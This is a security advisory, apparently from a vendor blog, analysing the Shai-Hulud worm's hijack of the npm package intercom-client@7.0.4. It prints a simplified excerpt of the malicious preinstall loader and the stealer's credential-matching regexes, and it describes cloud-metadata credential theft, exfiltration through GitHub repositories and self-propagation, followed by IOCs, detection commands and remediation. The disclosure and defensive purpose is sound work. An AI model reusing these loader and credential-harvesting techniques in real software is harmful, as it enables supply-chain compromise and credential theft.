Shai-Hulud Worm Pivots to Multi-Cloud: intercom-client@7.0.4 Hijacked — 361,000 Weekly Downloads, AWS, GCP, and Azure Credentials Now in Scope

Twenty-nine hours after mbt@1.2.48 and @cap-js/sqlite@2.2.2 were compromised by the Shai-Hulud worm, a third major npm package has fallen: intercom-client@7.0.4, the official Node.js SDK for the Intercom customer messaging platform, with 361,510 weekly downloads — more than the two yesterday’s compromised packages combined. The malicious version was published today at 14:41 UTC via a hijacked GitHub Actions OIDC publishing pipeline, confirming the worm is actively propagating through CI/CD infrastructure stolen from yesterday’s victims.

The package carries the same preinstall: node setup.mjs hook and Bun-staged loader found in every prior Shai-Hulud payload, but the credential stealer has undergone a significant evolution: the payload — now disguised as router_runtime.js rather than the previously-burned execution.js name — has expanded its collection scope from GitHub and npm tokens to a full multi-cloud credential sweep targeting AWS instance credentials (via the IMDS endpoint at 169.254.169.254), GCP service account tokens (via metadata.google.internal), Azure connection strings, private keys, and generic API key patterns. The same __decodeScrambled PBKDF2 cipher that fingerprints the Shai-Hulud / TeamPCP toolchain appears 232 times in the payload.

Disclosure: StepSecurity has filed a GitHub issue notifying the Intercom team of this compromise: github.com/intercom/intercom-node/issues/518.

Compromised Package

The following npm package is confirmed malicious as of April 30, 2026. It carries a new preinstall: node setup.mjs hook and an obfuscated 11.7 MB router_runtime.js multi-cloud credential stealer. Do not install this version.

 intercom-client@7.0.4 — Official Intercom Node.js API SDK

• Weekly downloads: ~361,510
  ‍
• Published: April 30, 2026 14:41 UTC
 
• Publisher: GitHub Actions OIDC (npm-oidc-no-reply@github.com, OIDC config c6068f87-840d-4993-aa1b-425530e39ee9) — CI/CD publishing pipeline compromised
   
• Safe version: intercom-client@7.0.3
   
• Size change: 6 MB → 17.8 MB unpacked (~3× increase)
   
• SLSA attestations: Present in 7.0.3 — absent in 7.0.4 (supply chain integrity check bypassed)
   
• npm page: npmjs.com/package/intercom-client/v/7.0.4
 

How We Detected It

StepSecurity’s AI Package Analyst monitors every new npm publish in real time, diffing each release against the full version history. For intercom-client@7.0.4, four signals triggered an immediate CRITICAL verdict within minutes of publication. View full analysis here

• A preinstall script appeared for the first time across all prior releases. intercom-client has never used an install lifecycle hook in any of its prior versions. Version 7.0.4 introduced "preinstall": "node setup.mjs" — a new file with no history in the project’s GitHub repository, firing before any install logic runs.
  ‍
• Two undocumented files introduced: setup.mjs and router_runtime.js. Neither file exists in any prior release or in the intercom/intercom-node GitHub repository.
• Payload size anomaly. The unpacked package grew from 6 MB to 17.8 MB in a single patch bump. The 11.7 MB router_runtime.js is a single, newline-free obfuscated line — a structural signature of a malicious payload.
 
• SLSA provenance attestations dropped. Version 7.0.3 carried SLSA v1 provenance attestations verifiable through the npm registry. Version 7.0.4 has no attestations — a strong indicator the publish did not go through the legitimate CI/CD workflow that produces them.

The Version Diff: What Changed in 7.0.4

Every prior release of intercom-client contained no install lifecycle hooks — a clean SDK with no post-install side effects. Version 7.0.4 injected a preinstall hook alongside two previously non-existent files:

// package.json — intercom-client@7.0.3 (clean)
"scripts": {
  "lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
  // ... dev-only build and test scripts, no install hooks
}
// unpackedSize: 6,099,576 bytes | fileCount: 4,384 | SLSA v1 provenance attestations: present

// package.json — intercom-client@7.0.4 (malicious)
"scripts": {
  "lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
  "preinstall": "node setup.mjs"  // <-- new, fires before any install logic
}
// unpackedSize: 17,837,993 bytes | fileCount: 4,940 | SLSA attestations: ABSENT
// New files: setup.mjs (6,780 bytes), router_runtime.js (11,731,860 bytes, 0 newlines)

The preinstall hook fires before npm evaluates any other install steps, before the user sees any output, and before any --ignore-scripts guard can stop it if the flag is omitted. The legitimate Intercom SDK remains present and functional — victims get a working client library while the stealer runs silently in the background.

A second anomaly distinguishes this compromise: unlike intercom-client@7.0.3, which carried SLSA v1 provenance attestations linking each artifact to its source build workflow, 7.0.4 has no attestations at all. The attackers’ publishing pipeline does not replicate the signing step that the legitimate Intercom workflow performs, making the absence of attestations a reliable detection signal.

Inside the Attack Chain

Stage 1 The Loader: Bun as an Evasion Vehicle (setup.mjs)

setup.mjs is a 222-line, 6.7 KB Node.js module structurally identical to the Bun loader found across all Shai-Hulud family packages. Its sole purpose is to acquire the Bun runtime and use it to execute router_runtime.js.

// Simplified execution flow from setup.mjs
const BUN_VERSION = "1.3.13";     // Same version used in mbt, @cap-js/sqlite, and @bitwarden/cli
const ENTRY_SCRIPT = "router_runtime.js";   // Renamed from "execution.js" to evade IOC blocklists

async function main() {
  if (hasCommand("bun")) return;  // Reuse existing Bun installation if present

  const asset = resolveAsset();   // Includes musl/Alpine detection for CI containers
  const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;

  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
  await downloadToFile(url, zipPath);
  extractBun(zipPath, entry, tmpDir);
  fs.unlinkSync(zipPath);          // Delete the downloaded zip to reduce forensic footprint
  execFileSync(bunPath, [entryScriptPath], { stdio: "inherit", cwd: SCRIPT_DIR });
  // finally: fs.rmSync(tmpDir, { recursive: true, force: true })  ← deletes Bun binary on exit
}

The loader includes a pure Node.js ZIP parser as a fallback for environments without unzip installed — ensuring the payload executes even in minimal container images. It detects Alpine/musl environments (targeting CI runners) and selects the correct Bun binary variant accordingly.

Using Bun instead of Node.js is a deliberate evasion choice: EDR rules and SIEM detections tuned for suspicious node child processes during npm install will miss a bun process entirely. The loader’s SHA-256 differs from mbt@1.2.48’s setup.mjs, but the logic, Bun version, platform map, and cleanup behavior are functionally identical — a minor update to evade hash-based IOC matching.

• File: setup.mjs
 
• SHA-256: fe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2
 
• Size: 6,780 bytes · 222 lines

Stage 2 The Payload: Multi-Cloud Credential Harvester (router_runtime.js) Escalated TTPs

router_runtime.js is an 11.7 MB single-line obfuscated JavaScript file. The payload carries the same structural fingerprints as every prior Shai-Hulud family member — a hex-indexed string array (_0x29aa53) with a globalThis.__decodeScrambled PBKDF2-backed custom cipher (232 occurrences) for runtime decryption of all sensitive strings — but the scope of credential collection has expanded significantly beyond GitHub and npm.

• File: router_runtime.js
 
• SHA-256: 5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed
 
• Size: 11,731,860 bytes (single line, zero newlines)

Evasion: Daemonization and Singleton Lock

The payload daemonizes itself using the same __DAEMONIZED environment variable fork seen across all Shai-Hulud payloads: it forks a detached child process with __DAEMONIZED=1, the parent exits immediately, and the background child writes a PID singleton lock to /tmp to prevent duplicate instances. This breaks process tree correlation between the npm install and the credential theft activity.

Expanded Credential Collection: Cloud-Wide Sweep

Previous Shai-Hulud payloads targeted GitHub tokens and npm publish tokens. This payload has added three new cloud credential categories, raising the blast radius of any single installation to the victim’s entire cloud footprint:

• GitHub tokens: PATs (ghp_*), OAuth tokens (gho_*), and Actions/OIDC tokens (ghs_*) — same patterns as prior campaign payloads.
 
• npm tokens: Publish access tokens matching /npm_[A-Za-z0-9]{36,}/g. Stolen tokens are used to propagate the worm to new packages.
 
• AWS credentials: Queries the AWS Instance Metadata Service (IMDS) at http://169.254.169.254 for role credentials. Also scans for aws_secret_access_key, aws_session_token, and access key ID patterns (AKIA[A-Z0-9]{16}) in config files and environment variables.
 
• GCP credentials: Queries the GCP metadata server at http://metadata.google.internal for instance service account tokens and identity tokens. Scans for service_account credential JSON files (Application Default Credentials).
 
• Azure credentials: Scans for Azure storage connection strings (AccountKey), client secrets (client_secret), and access keys matching /(AccountKey|accessKey|client_secret)/.
 
• Private keys: Regex extraction of PEM-encoded RSA and ECDSA private keys matching /-----BEGIN PRIVATE KEY-----/g.
 
• Generic API keys: Broad pattern matching on variables named password, passwd, secret, token, key, and api[_-]?key across config files and environment.

CI/CD Environment Detection: Beyond GitHub Actions

The payload detects and activates specialized collection behavior for three CI/CD environments:

// CI environment detection (from static analysis of router_runtime.js)
if (process.env.GITHUB_ACTIONS)                         // GitHub Actions — targets OIDC tokens
if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT)  // Vercel deployments
if (process.env.CI_)                                    // Generic CI environment marker

Adding Vercel and generic CI detection is a meaningful escalation: developers building frontend applications or serverless functions with Intercom integration are now also targeted when their deployment pipelines install the SDK.

Stage 3 Exfiltration via GitHub Private Repositories

Exfiltration routes through the victim’s own GitHub account using the api.github.com endpoint — the same covert channel used in mbt@1.2.48 and @cap-js/sqlite@2.2.2. Using a stolen GitHub token, the payload authenticates to api.github.com/user, creates a private repository under the victim’s account, encrypts the harvested credentials and cloud metadata, and commits the payload to the repository.

All traffic goes to api.github.com, which is allowlisted in virtually every corporate firewall and GitHub Actions egress policy. Standard domain blocklists, IP-based detection, and network monitoring tuned for unknown destinations are completely ineffective against this channel.

Why network defenses fail here: Every outbound request this payload makes — downloading Bun from github.com, querying cloud metadata endpoints (internal to the runner), and exfiltrating via api.github.com — goes to destinations that appear in every CI/CD environment’s default allowlist. The only network-layer defense that works is Harden Runner’s step-level egress lockdown, which blocks unexpected api.github.com API calls during install steps even though the domain itself is trusted.

Stage 4 Supply Chain Worm: CI/CD Token Propagation

Every stolen npm publish token is used to propagate the worm. The stealer uses the npm registry API with each captured token to enumerate packages it has publish access to, increment the patch version, inject the preinstall hook and payload files into the new version, and publish it to the registry. This is the same self-replication mechanism observed across the entire Shai-Hulud family.

intercom-client@7.0.4 is direct proof of this mechanism. Published 29 hours after mbt@1.2.48, the intercom publish used a GitHub Actions OIDC token belonging to the Intercom engineering team — almost certainly stolen from a CI pipeline that installed one of yesterday’s compromised packages during that window. Any workflow that ran npm install mbt@1.2.48 or npm install @cap-js/sqlite@2.2.2 and had access to npm publish credentials for the Intercom SDK could have been the propagation vector.

Attribution: Shai-Hulud / TeamPCP Campaign

The structural evidence attributing intercom-client@7.0.4 to the Shai-Hulud / TeamPCP campaign is conclusive:

• Same Bun v1.3.13 loader — the specific Bun version pinned in setup.mjs is unchanged across every Shai-Hulud payload since September 2025, including @bitwarden/cli@2026.4.0, mbt@1.2.48, and @cap-js/sqlite@2.2.2.
 
• Same obfuscation engine — the hex-indexed string array (_0x29aa53) with globalThis.__decodeScrambled PBKDF2-backed custom cipher is the unique TeamPCP toolchain fingerprint. It appears 232 times in router_runtime.js.
 
• Same daemonization evasion — the __DAEMONIZED environment variable fork is present, consistent with all Shai-Hulud family members.
 
• Same GitHub-only C2 channel — exfiltration through api.github.com/user private repository creation, no external C2 domain (the external domain used in the Bitwarden variant was burned and publicly blocklisted).
 
• Same token regex patterns — /gh[op]_[A-Za-z0-9]{36}/g and /npm_[A-Za-z0-9]{36,}/g and /ghs_[A-Za-z0-9]{36,}/g are unchanged from prior campaign payloads.
 
• Same OIDC publishing vector — published via npm-oidc-no-reply@github.com, the same publisher identity seen in @cap-js/sqlite@2.2.2, confirming the worm has established a CI/CD propagation channel through stolen OIDC tokens.
 
• TTPs evolution consistent with prior Shai-Hulud versioning — each campaign wave has introduced incremental changes (preinstall hooks in Nov 2025, GitHub-only C2 after Bitwarden disclosure, payload filename rotation here) while preserving the core toolchain. The multi-cloud credential expansion follows the same pattern of scope-widening observed between Shai-Hulud v1 and v2.

Indicators of Compromise

Package

• Malicious package: intercom-client@7.0.4
 
• Safe version: intercom-client@7.0.3
 
• npm integrity: sha512-LcCAJzWI5Jkx75prg8T88aonPsExIrffcugdCDWhNv0HhmOlkA8xYqMuNHqjkgF8o9yxrs09tDub/6MWncK1Lg==
 
• npm shasum: 1a1b1d0d89fadf7664c42ec628bac7d39a71bd50
 
• Tarball SHA-256: 5f748fbc89cde66abefa826439c765a0081a027792e9da8d80fbf23571311622
 
• Publisher: GitHub Actions OIDC (npm-oidc-no-reply@github.com) — CI/CD pipeline compromised
 
• OIDC config ID: oidc:c6068f87-840d-4993-aa1b-425530e39ee9

Files

• Loader: setup.mjs
 
• Loader SHA-256: fe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2
 
• Loader size: 6,780 bytes · 222 lines
 
• Payload: node_modules/intercom-client/router_runtime.js
 
• Payload SHA-256: 5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed
 
• Payload size: 11,731,860 bytes (single obfuscated line, zero newlines)
 
• Lock file: /tmp/<__decodeScrambled encoded name> (PID singleton)

Network

• C2 channel: api.github.com (private repos under victim account)
 
• GitHub user endpoint: https://api.github.com/user
 
• Bun runtime download: github.com/oven-sh/bun/releases/download/bun-v1.3.13/
 
• AWS IMDS endpoint: http://169.254.169.254 (AWS instance credential theft)
 
• GCP metadata endpoint: http://metadata.google.internal (GCP service account token theft)
 
• npm propagation endpoint: https://registry.npmjs.org/ (worm self-propagation)

Code Markers (Shai-Hulud Family)

• Custom cipher: globalThis.__decodeScrambled (PBKDF2-backed, 232 occurrences in router_runtime.js)
 
• Daemonize flag: __DAEMONIZED (env var)
 
• GitHub PAT regex: /gh[op]_[A-Za-z0-9]{36}/g
 
• npm token regex: /npm_[A-Za-z0-9]{36,}/g
 
• Actions token regex: /ghs_[A-Za-z0-9]{36,}/g
 
• AWS key ID regex: /AKIA[A-Z0-9]{16}/g (new in this variant)
 
• Azure credential regex: / (AccountKey|accessKey|client_secret)/ (new in this variant)
 
• Private key regex: /-----BEGIN PRIVATE KEY-----/g (new in this variant)
 
• Bun version (all variants): 1.3.13
 
• Obfuscation pattern: Hex-indexed string array (_0x29aa53) + PBKDF2 cipher

Am I Affected?

Check for the malicious version in your project:

npm list intercom-client 2>/dev/null | grep "7\.0\.4"
grep '"intercom-client"' package-lock.json | head -5

Check for malicious files in node_modules:

ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "intercom-client COMPROMISED"
ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "PAYLOAD FOUND"

Check for unauthorized private repositories on accounts or organizations that ran the compromised install:

gh repo list --visibility private --json name,description,createdAt --limit 100 | \
  jq '.[] | select(.createdAt > "2026-04-30")'

Check npm publish logs for unauthorized releases:

npm access list packages <your-username>
# Then for each package you maintain:
npm view <package-name> time --json | tail -5

Check CI/CD pipeline logs for any workflow runs that installed intercom-client@7.0.4 between April 29, 2026 (when prior compromised packages could have stolen CI credentials) and now. Treat all secrets accessible to those jobs as compromised — including AWS IAM credentials, GCP service account keys, Azure client secrets, and npm OIDC publishing tokens.

Check cloud credentials specifically if the package was installed in a CI/CD pipeline with cloud access:

# AWS: audit CloudTrail for unexpected AssumeRole or GetSessionToken calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time 2026-04-30T14:00:00Z

# GCP: check for unexpected service account token usage
gcloud logging read 'protoPayload.authenticationInfo.principalEmail:@developer.gserviceaccount.com' \
  --freshness=1d

# Azure: check for unexpected client secret usage in Azure AD audit logs

Remediation

1. Uninstall the compromised version and downgrade:    
   
   ‍npm uninstall intercom-client
npm install intercom-client@7.0.3 --ignore-scripts  
 
2.    Verify no malicious files remain:    

ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "still compromised"
ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "payload still present"  
 
3.    Rotate all credentials on every machine and CI/CD pipeline where the package was installed:    
        
   • GitHub tokens (PATs: ghp_*, OAuth: gho_*, Actions: ghs_*)
        
   • npm publish tokens (npm_*) — critical, stolen tokens are used for worm propagation
        
   • AWS access keys and session tokens if the install ran in an environment with AWS credentials
        
   • GCP service account keys if the install ran in a GCP-authenticated environment
        
   • Azure client secrets and connection strings if the install ran in an Azure-authenticated environment
        
   • All other environment variable secrets from affected CI/CD jobs
 
4.    Use --ignore-scripts in CI/CD as a standing policy:    
   
   ‍npm ci --ignore-scripts  
 
5.    Pin exact versions to prevent silent upgrades to malicious patch releases:    

{
 "dependencies": {
   "intercom-client": "7.0.3"
 }
}  
 
6.    Verify SLSA attestations for packages that support them before installing in sensitive environments:    npm audit signatures intercom-client@7.0.3  

How StepSecurity Helps

 Prevent — Block Malicious Packages Before They Enter Your Codebase  

   
• npm Compromised Package Check — StepSecurity maintains a real-time database of confirmed-malicious npm packages, updated before CVEs are filed. Any PR introducing intercom-client@7.0.4 automatically fails the check and is blocked from merging. app.stepsecurity.io/checks    
   
• npm Package Cooldown Check — New npm releases are blocked during a configurable cooldown window. Most malicious packages are identified within hours of publication. The cooldown prevents automated pipelines from pulling a newly published malicious version before the security community can respond.    
   
•  Harden-Runner Egress Enforcement — In lockdown mode, all undeclared outbound connections during GitHub Actions execution are blocked at both DNS and network level. The Bun runtime download (github.com/oven-sh/bun/releases), the api.github.com exfiltration channel, and the AWS/GCP cloud metadata endpoints are all blocked unless explicitly allowlisted. Step-level egress control is the only network-layer defense that works against a C2 that routes through trusted domains.    
 

 Detect — Continuous Visibility Across Registries, PRs, and Pipelines  

   
• AI Package Analyst — Monitors every new npm and PyPI publish in real time. Anomalous releases — new install hooks, obfuscated payload files, runtime downloads, size anomalies, missing SLSA attestations, campaign family signatures — are flagged immediately with a full behavioral breakdown. No CVE required. app.stepsecurity.io/oss-security-feed    
   
• npm Package Search — Search across all PRs and repositories in your organization to determine which teams and codebases are exposed to intercom-client@7.0.4 before remediation begins.    
   
• Harden-Runner Network Baselines — Even in audit mode, Harden Runner logs every outbound network connection per workflow step. An unexpected call to api.github.com or 169.254.169.254 during an npm install step is an immediate exfiltration signal, surfaced before the run completes.    
 

 Respond — Assess Exposure and Coordinate Remediation  

   
• Threat Center — Real-time advisories for compromised packages with technical analysis, IOCs, and remediation steps — everything needed to triage immediately, without waiting for public disclosure. Includes multi-cloud remediation guidance when the payload scope extends beyond GitHub and npm.    
   
• Coordinated Remediation — Combines threat intelligence, package search results, and network baselines into a prioritized exposure list across all affected repositories. Enables consistent, organization-wide remediation including token rotation tracking, npm publish audits, and cloud credential revocation coordination.    
 

Protect your pipelines: AI Package Analyst detected this Shai-Hulud payload — including the expanded multi-cloud credential scope — within minutes of publication, before any CVE was filed. Harden-Runner blocks exfiltration at the network layer even when the malware routes through trusted infrastructure like api.github.com.

‍